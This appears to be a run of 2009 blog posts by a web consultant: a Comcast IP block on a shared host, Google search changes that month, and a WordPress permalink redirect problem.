I looked up the users  FTP information, and I was unable to login top either account using FTP either, simply getting an “unable to connect” message.

One common connection between the two domains was that they happened to be on the same server, but other than that there was no reason why I shouldn’t be able to see these domains.

I went to a free proxy service and from there I was able to see both domains and verify that they were indeed up and running, so clearly this was a Comcast issue.

Was Comcast actually blocking my access to the web server? Had someone on this shared hosting server done something nefarious, and now Comcast was preventing me from accessing it through their servers?

I phoned Comcast, and of course had to sift through their ridiculous voicemail system, finally arriving at the tier 1 tech support where I had to fight my way past his insistence upon rebooting my router and checking my computer settings.

Finally after getting the guy to understand that the problem belonged to Comcast,  he transferred me to the “abuse” section, where he claimed they must be “blocking those websites”.

Blocking those websites?!? – I’d never heard of that before!

I waited my turn in the queue with Abuse department, and when the guy answered, he listened patiently, verified what I said was true,  and then had me run a trace route and email him the results.

As you can see, I didn’t get very far -

By that point it was after seven o’clock at night, and he told me he would have to escalate it to his next support level but that I shouldn’t expect it to be “fixed”until some time the next day.

At this point I asked if Comcast could be intentionally blocking my server IP address, and he assured me that no,   Comcast does not block access to web servers in the same way that they block mail servers and ports.

Under certain circumstances he says, where a website is known to be distributing Malware or viruses, they may issue a warning before the users arrival that “the site may be harmful…” , but they do not, as far as he knows, intentionally block access to a Web server.  As far as he knows… Huh.

Well, this morning, the sites are back up and I may never know what went wrong, so I guess I’ll just move on.

*** Update ***

I got a phone call back from comcast to tell me that all was resolved, and as it turns out,  Comcast HAD intentionally blocked all activity from that web server IP address!

Interestingly, sites hosted on that same web server that had been assigned a static IP address continud to work fine, but the shared hosting domains were all blocked, with no warning message to the user, and FTP, Trace Route, and even pings to the IP were blocked entirely.

The Comcast rep read me the notes he had gotten from engineering, and they sais that the IP was blocked because “Malicious data flows were detected over TCP port 80″.

That’s it – no indication of what domain caused it, nor, was there any reason given WHY they would UNblock it at my request, since presumably the malicious activity is still going on from whatever domain was causing the problem. Bizarre.

This was news to me, and news to the guy in security, who said he’s never heard of them blocking IP addresses like this before.

So, is the moral of the story that a shared hosting account may be risky to your visibility? It looks that way, doesn’t it?

There were a few changes at Google this month which I’ve been pointing out to clients, so I’m posting them here too.

I added the month to my title, because I expect we’ll be seeing a lot more of these types of game changers as time goes on.

You & I See Different Search Results
On December 4, while I was in Los Angeles at an Affiliate Convention session, a rumble went through the crowd after someone shouted out “Hey, Google is showing personalized results to everyone whether they’re signed in or not”!

Now there are search industry pundits that think it’s a good thing, those that think it’s a bad thing, and those that think that it really doesn’t matter but there’s no denying that it changes the game.

All end users will now see more varied search results than someone else. Even though this has already been taking place for a while based on their IP location and Google data center differences, now, those differences will become even more substantial based on their browsing history.

(Is it based on the whole IP address? Is it just per browser? Is there a machine or CPU ID? I don’t yet know – do you?)

Real Time Search
The personalized results change was overshadowed in the media by some big announcements on December 7th, primarily about their new real time search.

It’s hard to replicate on demand, because it only shows up for highly active topics, like a search fopr “Obama Speech” in the couple of days following one, or search for a news event as one is happening,  like “winter solstice 2009″  you’ll see an actual moving/scrolling section of the latest news and Twitter Tweets in what’s practically real time.

Do you think this will add to the current noise level in social media and news?  I sure do, and I call it a “game changer” because of all the auto posting that will now undoubtedly be put on steroids, in anticipation of this expanding further.

Google Goggles
Take a photo with your cell phone, and Google will tell you what it is.  Cool for the Eiffel Tower, but is seems to have pretty creepy potential issues for that woman sitting alone in a bar, isn’t it?  Check out their short video…

Wherever you fall on the potential privacy issues,  I do think that the technology is going to be a game changer as it continues to evolve.

Keeping You on Google Properties
Google is delivering more and more information to users without then needing to leave the results page. Lokk at a search for your favorite football team as an example, where you can see the score, their leading rusher, and the date and opponent for their next game without clicking through.

(Do you think this is a fair representation of what Rupert Murdoch is concerned with? You can see the image from the NY Times, and the info coming from the Atlanta Journal Constitution)

*** Update – 4pm ****

Oops – Looks like this last item below was just  more browser monkey business – AdWare – called “Browser Highlighter”, on my computer.   I guess I jumped to conclusions,  but with so many other Google changes this month, it really didn’t surprise me all that much!

Selling the Front Page
Just this minute, I’m seeing color Ebay ads on the front page, while I’m not even signed in to Google.

Is it a sponsored ad? No…  Is it a pay for placement? Pay for inclusion? Is is Pay Per Action, where Google gets a piece if a sale is made?  Who knows?

So, in addition to PPC ads, we’re now going to see this sort of paid result, further moving the organic SERPS lower on the priority list and in some cases, well below the fold.

Where’s Amazon, and can they bid against Ebay?  I wonder how long it will be before there are other brand banners, perhaps even larger? Will they be doing the same thing inside Google’s Wonder wheel?

I guess we’ll be finding out soon, as Google continues to change the game for everyone, consumers and marketers alike….

I love WordPress, I really do, but i just screwed up a site by changing a bunch of permalinks to 302’s.

Worse, WP won’t allow me to change it back without digging into the database, so I effectively rendered my child page permalinks (URLs) useless.

In this short video I’ll show you exactly what not to do -( besides assume that WordPress will work the way it’s supposed to).

I’ve written about WP hurting search rankings before,  and while changing the LAST part of a permalink does now seem to 301 correctly,  in this case, changing the permalink of a parent page causes a 302  temporary redirect of all the child pages.

This, of course, kills your PageRank and effectively removes any inbound link equity that those pages may have obtained.  Nice, huh?

*Update 12/15 – We are now using this redirection plugin on all new or upgraded WP installations until they fix it…